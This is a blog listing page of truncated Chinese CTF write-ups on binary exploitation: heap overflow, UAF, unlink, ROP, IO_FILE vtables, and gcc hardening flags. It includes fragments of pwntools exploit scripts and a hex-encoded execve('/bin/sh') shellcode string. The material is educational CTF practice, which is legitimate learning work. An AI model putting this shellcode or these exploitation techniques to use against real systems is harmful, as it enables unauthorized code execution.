CTF
snowleopard_bin
这个作者很懒,什么都没留下…
展开
-
IDA7.5 mipsrop插件使用问题
问题描述将ida7.0 的miprop插件复制到ida7.5的plugins目录下后,本以为和ida7.0一样可以直接使用,但是在idapython命令行里输入mipsrop.help()的时候报错:NameError: name 'mipsrop' is not defined但是将环境设置回7.0再使用的时候,并没有出现以上的错误解决方法在idapython中先输入以下代码import mipsropmipsrop = mipsrop.MIPSROPFinder()即可继原创 2021-04-01 16:00:50 · 1277 阅读 · 0 评论 -
2020DDCTF we_love_free C++ vector
vector的特性扩容特性,1,2,4,8,16......个元素,每次超过阈值,就会将之前的堆块释放,并重新申请大堆块。对应的chunk大小为0x20,0x20,0x50,0x90......这题漏洞在于show函数push 0xaabbccdd之后如果vector进行了扩容,就会将之前的chunk释放,但是begin全局变量还是指向原来的堆块,形成UAF漏洞。利用方式是覆盖在bss段中的std::cout/std::cin的虚表指针为one_gadget#-*- coding:utf-8.原创 2020-10-07 21:02:43 · 208 阅读 · 0 评论 -
arm题
2020Xman baby_arm关于调试用arm-linux-gnueabihf启动,-g 指定调试端口,但不知道如何像正常的pwn题一样在脚本中指定位置起一个gdb调试,导致只能在另一个终端中用gdb-multiarch ,tar rem : port远程调试,在目标地址下断点,c过去。然后由于没有符号表,不能打印system函数地址,而且bin命令、heap等都不能用,只能直接用x来...原创 2020-01-13 11:59:51 · 244 阅读 · 0 评论 -
glibc-2.29
2019 湖湘杯线下 pwn2off by one ,可以修改size,形成chunk overlap。#-*- coding:utf-8 -*-from PwnContext import *try: from IPython import embed as ipyexcept ImportError: print ('IPython not installed...原创 2019-12-10 11:24:54 · 986 阅读 · 0 评论 -
IO_vtable和IO_FILE结构
void attribute_hidden_IO_vtable_check (void){#ifdef SHARED /* Honor the compatibility flag. */ void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);#ifdef PTR_DEMANGLE...转载 2019-04-05 12:39:19 · 843 阅读 · 0 评论 -
hackme.inddy.tw 逆向之a-maze
按照要求,应该是将map数据文件的数据都读入到qword_601088地址中直到从数据中读取到的值为0xFFFFFFFF。于是我们到map中看看0XFFFFFFFF在哪里从0xFB000开始的512字节都是FF,刚好符合1<<9的大小。简单分析一下,索引下标可以分为两部分:v2和flag,flag占后9位,剩下的就是v2移位后的值。因此我们可以从最后一个下标开始...原创 2019-02-24 12:29:46 · 301 阅读 · 0 评论 -
hackme.inndy.tw rsbo-2
前置知识栈溢出ROP保护机制没有金丝雀canary,但开启了栈执行保护,可以利用rop关键代码read_80_bytes函数实际上读了0x80字节,已经可以覆盖main返回地址并且还多溢出0x20-8字节,完全够了而经过调试,需要覆盖108字节的填充字符,接下来才是返回地址利用思路1、利用write leak出libc2、ROP具体过程1、先...原创 2019-03-02 11:43:30 · 261 阅读 · 0 评论 -
2019看雪CTFQ1 C与C++
漏洞类型应该算个类型混淆吧保护机制[*] '~/candcpp' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) FORTIFY: Ena...原创 2019-03-30 09:37:36 · 399 阅读 · 0 评论 -
看雪CTF 拯救单身狗 apwn
漏洞类型堆的整数负数溢出保护机制全保护关键代码if ( two[v1] )//没考虑负数 { puts("Oh,singledog,changing your name can bring you good luck."); read(0, (void *)two[v1], 0x20uLL); printf("new name: %s", two[...原创 2019-03-28 23:05:11 · 768 阅读 · 0 评论 -
gcc /g++ 编译保护机制选项 makefile
gcc hello.c -o hello//没有开启FORTIFY保护gcc -D_FORTIFY_SOURCE=1 -O1 hello.c -o hello //只会在编译的时候检查gcc -D_FORTIFY_SOURCE=2 -O2 hello.c -o hello // 强检查没有-O2的话是不会开启检查的,需要在编译的时候加上这个选项RELRO-z now...原创 2019-07-07 15:25:37 · 1919 阅读 · 0 评论 -
2018上海市大学生网络安全大赛 逆向 cpp
一道简单的逆向,就是两个函数加密,反着来一遍就行,不用爆破。 for ( i = 0; ; ++i ) { LODWORD(v1) = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::length(a1); if ( i &g...原创 2018-11-06 20:22:51 · 909 阅读 · 0 评论 -
2018护网杯shoppingcart
from pwn import *#context.log_level='debug'cn = process('./task_shoppingCart')elf = ELF('./task_shoppingCart')libc = ELF('./libc-2.23.so')strtoul_got = p64(elf.got['strtoul'])def money(s): cn....原创 2018-10-17 23:16:21 · 404 阅读 · 0 评论 -
2018强网杯部分writeup
0x00 签到题操作内容:打开题目就看到flagFLAG值:flag{welcome_to_qwb}0x01 Welcome操作内容:|拿到一张图片: 放进Stegsolve中,一点点偏移图片,慢慢发现有字,offset到100时就能清楚看到得到flagFLAG值:QWB{W3lc0me}0x02 web签到操作内容:...原创 2018-09-20 09:05:28 · 2503 阅读 · 0 评论 -
pwn中堆溢出的几种模式及相应的利用方法小结
一、fastbin(16Bytes<= size<=64Bytes ) 1、覆盖fd , 向任意地址写任意内容(write-anything-anywhere) buf1 = malloc(32)#1 buf2 = malloc(32)#2 free(2) free(1)#first one to be allocated buf1 ...原创 2018-08-01 17:48:34 · 2731 阅读 · 0 评论 -
pwnable.kr unlink
题目源码如下:#include <stdio.h>#include <stdlib.h>#include <string.h>typedef struct tagOBJ{ struct tagOBJ* fd; struct tagOBJ* bk; char buf[8];}OBJ;void shell(){ sys...原创 2018-09-20 09:06:15 · 311 阅读 · 0 评论 -
ROP2 ROP的启蒙题
from pwn import *cn = remote('hackme.inndy.tw',7703)#context.log_level='debug'elf = ELF('rop2')syscall = elf.symbols['syscall']print "%x"%syscallover = elf.symbols['overflow']bss = elf.bss()...原创 2018-08-05 15:31:17 · 418 阅读 · 0 评论 -
调试argv[0]到缓冲区的距离
hackme.inndy.tw 中的smash-the-stackgdb调试进入main函数,查看栈空间发现('/hom')字符串应该就是该文件名,因此我估计是argv[0]的值,故栈中0xffffd114应该是argv[0]而0xffffd05c估计是缓冲区地址,0xffffd114-0xffffd05c=B8=184故覆盖184个字节from pwn import *...原创 2018-08-05 17:26:41 · 249 阅读 · 0 评论 -
堆溢出个人学习总结
Unlinkctf wiki中有个地方困扰了我很久:// fd bkif (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ malloc_printerr (check_action, "corrupted double-linked list", P, AV); ...原创 2018-08-01 17:46:41 · 5230 阅读 · 0 评论 -
shellcode
短shuallcodeshellcode='\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'64bit local /bin/sh有时遇到写的字符中不能包含'\x0b'这个字符,因此不能...原创 2018-08-10 22:46:16 · 1553 阅读 · 0 评论 -
JarvisOJ guestbooks2
在网上看到大佬的writeup,一开始懵逼了很久,有很多参数不知道是什么意思,大佬也懒得注释。经过摸爬滚打的调试,我在这给大佬的writeup写写注释,既便于自己以后回顾的时候能马上捡起来,也能帮助一些像我这样的菜鸡学习知识。https://veritas501.space/2017/03/10/JarvisOJ_WP/ 该exp的思路是:1、free chunk3 和chunk1(注...原创 2018-09-25 10:08:47 · 834 阅读 · 0 评论 -
HITCON Trainging lab13 heapcreator
记录第一次不看任何writeup自己写出来的pwn题前置知识:off by onechunk overlappingchunk extend一开始先看程序打开哪些保护机制可以改got表,并且有点要注意是没开PIE,这样就不必泄露函数地址计算基址了(如果开了,这题堆上没有存放函数指针的,我也不会泄露。。)然后分析程序,挖漏洞首先从建堆函数看数据结构结构...原创 2018-10-03 14:19:37 · 1080 阅读 · 3 评论 -
2018强网杯silent2
看了雪论坛里一位大佬的writeup,感到一丝迷茫,遂另起炉灶,提供另一种类似的做法,我多加了解释,应该会更加通俗易懂。发现NX、Canary都开了,但Partial RELRO说明可以修改got表,PIE说明没有地址随机化,就可以直接利用IDA中看到的地址,不需要计算libc偏移了先看main函数case1:功能就是create啦注意到*&s[8*i] = v...原创 2018-09-26 20:55:20 · 629 阅读 · 0 评论 -
2017nsctf RE
第一次不看任何参考资料的情况下(关键是在网上找writeup也找不到)做出一道逆向题,特此记录直接拖进IDA找到关键字符串Congrs,点进去看函数理解下函数逻辑:v13=10->循环10次Congras后面的v4应该就是结果要使v14!=0,就要是37行中v9==v12^v8v12的形成过程就是循环i次计算v8可以理解成v4,就是结果v9是byte_6B4270字符串,进去看看是什么好了,...原创 2018-03-17 17:55:20 · 695 阅读 · 0 评论